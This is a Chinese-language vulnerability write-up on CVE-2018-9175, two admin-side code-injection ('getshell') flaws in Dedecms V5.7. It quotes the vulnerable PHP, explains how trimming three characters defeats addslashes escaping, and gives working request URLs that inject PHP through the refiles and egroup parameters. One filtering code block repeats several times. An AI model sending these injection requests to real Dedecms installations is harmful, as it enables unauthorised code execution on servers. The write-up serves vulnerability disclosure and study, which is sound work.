menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-9175)Dedecms V5.7后台的两处getshell chevron_right (CVE-2018-9175)Dedecms V5.7后台的两处getshell.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-9175)Dedecms V5.7后台的两处getshell.md
    9.64 KB / 2021-07-15 19:50:09
        (CVE-2018-9175)Dedecms V5.7后台的两处getshell
    ===============================================
    
    一、漏洞简介
    ------------
    
    后台写配置文件过滤不足导致写shell。
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    ### 漏洞代码分析
    
    #### 第一个
    
    在/dede/sys\_verifies.php中的第152行处
    
        else if ($action == 'getfiles')
        {
            if(!isset($refiles))
            {
                ShowMsg("你没进行任何操作!","sys_verifies.php");
                exit();
            }
            $cacheFiles = DEDEDATA.'/modifytmp.inc';
            $fp = fopen($cacheFiles, 'w');
            fwrite($fp, '<'.'?php'."\r\n");
            fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
            $dirs = array();
            $i = -1;
            $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
            foreach($refiles as $filename)
            {
                $filename = substr($filename,3,strlen($filename)-3);
                if(preg_match("#^dede/#i", $filename)) 
                {
                    $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
                } else {
                    $curdir = GetDirName($filename);
                }
                if( !isset($dirs[$curdir]) ) 
                {
                    $dirs[$curdir] = TestIsFileDir($curdir);
                }
                $i++;
                fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
            }
            fwrite($fp, '$fileConut = '.$i.';'."\r\n");
            fwrite($fp, '?'.'>');
            fclose($fp);
        可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。
    
        dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量
    
        function _RunMagicQuotes(&$svar)
        {
            if(!get_magic_quotes_gpc())
            {
                if( is_array($svar) )
                {
                    foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
                }
                else
                {
                    if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                    {
                      exit('Request var not allow!');
                    }
                    $svar = addslashes($svar);
                }
            }
            return $svar;
        }
    
        if (!defined('DEDEREQUEST'))
        {
            //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
            function CheckRequest(&$val) {
                if (is_array($val)) {
                    foreach ($val as $_k=>$_v) {
                        if($_k == 'nvarname') continue;
                        CheckRequest($_k);
                        CheckRequest($val[$_k]);
                    }
                } else
                {
                    if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                    {
                        exit('Request var not allow!');
                    }
                }
            }
    
            //var_dump($_REQUEST);exit;
            CheckRequest($_REQUEST);
            CheckRequest($_COOKIE);
    
            foreach(Array('_GET','_POST','_COOKIE') as $_request)
            {
                foreach($$_request as $_k => $_v)
                {
                    if($_k == 'nvarname') ${$_k} = $_v;
                    else ${$_k} = _RunMagicQuotes($_v);
                }
            }
        }
    
        function _RunMagicQuotes(&$svar)
        {
            if(!get_magic_quotes_gpc())
            {
                if( is_array($svar) )
                {
                    foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
                }
                else
                {
                    if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                    {
                      exit('Request var not allow!');
                    }
                    $svar = addslashes($svar);
                }
            }
            return $svar;
        }
         
        if (!defined('DEDEREQUEST'))
        {
            //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
            function CheckRequest(&$val) {
                if (is_array($val)) {
                    foreach ($val as $_k=>$_v) {
                        if($_k == 'nvarname') continue;
                        CheckRequest($_k);
                        CheckRequest($val[$_k]);
                    }
                } else
                {
                    if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                    {
                        exit('Request var not allow!');
                    }
                }
            }
         
            //var_dump($_REQUEST);exit;
            CheckRequest($_REQUEST);
            CheckRequest($_COOKIE);
         
            foreach(Array('_GET','_POST','_COOKIE') as $_request)
            {
                foreach($$_request as $_k => $_v)
                {
                    if($_k == 'nvarname') ${$_k} = $_v;
                    else ${$_k} = _RunMagicQuotes($_v);
                }
            }
        }
    
    可以看到,这里会将\$refiles数组中的内容写入配置文件modifytmp.inc中。
    
    dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量
    
        function _RunMagicQuotes(&$svar)
        {
            if(!get_magic_quotes_gpc())
            {
                if( is_array($svar) )
                {
                    foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
                }
                else
                {
                    if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
                    {
                      exit('Request var not allow!');
                    }
                    $svar = addslashes($svar);
                }
            }
            return $svar;
        }
         
        if (!defined('DEDEREQUEST'))
        {
            //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
            function CheckRequest(&$val) {
                if (is_array($val)) {
                    foreach ($val as $_k=>$_v) {
                        if($_k == 'nvarname') continue;
                        CheckRequest($_k);
                        CheckRequest($val[$_k]);
                    }
                } else
                {
                    if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val)  )
                    {
                        exit('Request var not allow!');
                    }
                }
            }
         
            //var_dump($_REQUEST);exit;
            CheckRequest($_REQUEST);
            CheckRequest($_COOKIE);
         
            foreach(Array('_GET','_POST','_COOKIE') as $_request)
            {
                foreach($$_request as $_k => $_v)
                {
                    if($_k == 'nvarname') ${$_k} = $_v;
                    else ${$_k} = _RunMagicQuotes($_v);
                }
            }
        }
    
    上面的\$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite(\$fp,
    \'\$files\[\'.\$i.\'\] = \"\'.\$filename.\'\";\'.\"\\r\\n\");
    实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作
    
        $filename = substr($filename,3,strlen($filename)-3);
    
    去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入\"
    时经过addlashes会变成\\\",再去掉前三个字符就只剩下双引号实现闭合。
    
    此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys\_verifies.php
    
    #### 第二个
    
    同样是写配置文件,位于/dede/sys\_cache\_up.php
    
        else if($step == 2)
        {
            include_once(DEDEINC."/enums.func.php");
            WriteEnumsCache();
            //WriteAreaCache(); 已过期
            ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
            exit();
        }
    
    跟进WriteEnumsCache()
    
        function WriteEnumsCache($egroup='')
        {
            global $dsql;
            $egroups = array();
            if($egroup=='') {
                $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
            }
            else {
                $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
            }
            $dsql->Execute('enum');
            while($nrow = $dsql->GetArray('enum')) {
                $egroups[] = $nrow['egroup'];
            }
            foreach($egroups as $egroup)
            {
                $cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
                $fp = fopen($cachefile,'w');
                fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
                $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");
                $dsql->Execute('enum');
                $issign = -1;
                $tenum = false; //三级联动标识
                while($nrow = $dsql->GetArray('enum'))
                {
                    fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
                    if($issign==-1) $issign = $nrow['issign'];
                    if($nrow['issign']==2) $tenum = true;
                }
                if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
                fwrite($fp,'?'.'>');
                fclose($fp);
                if(empty($issign)) WriteEnumsJs($egroup);
            }
            return '成功更新所有枚举缓存!';
        }
    
    可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。
    
    将shell写进数据库中
    
        http://0-sec.org/dede/stepselect_main.php?action=addenum_save&ename=123&egroup=;phpinfo();//&islogin=1
    
    ![](./resource/(CVE-2018-9175)DedecmsV5.7后台的两处getshell/media/rId27.png)
    
    ### 复现
    
    因为包含是在同一个文件,所以直接输入
    
        http://0-sec.org/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();//
    
    ![](./resource/(CVE-2018-9175)DedecmsV5.7后台的两处getshell/media/rId29.png)
    
    
    links
    file_download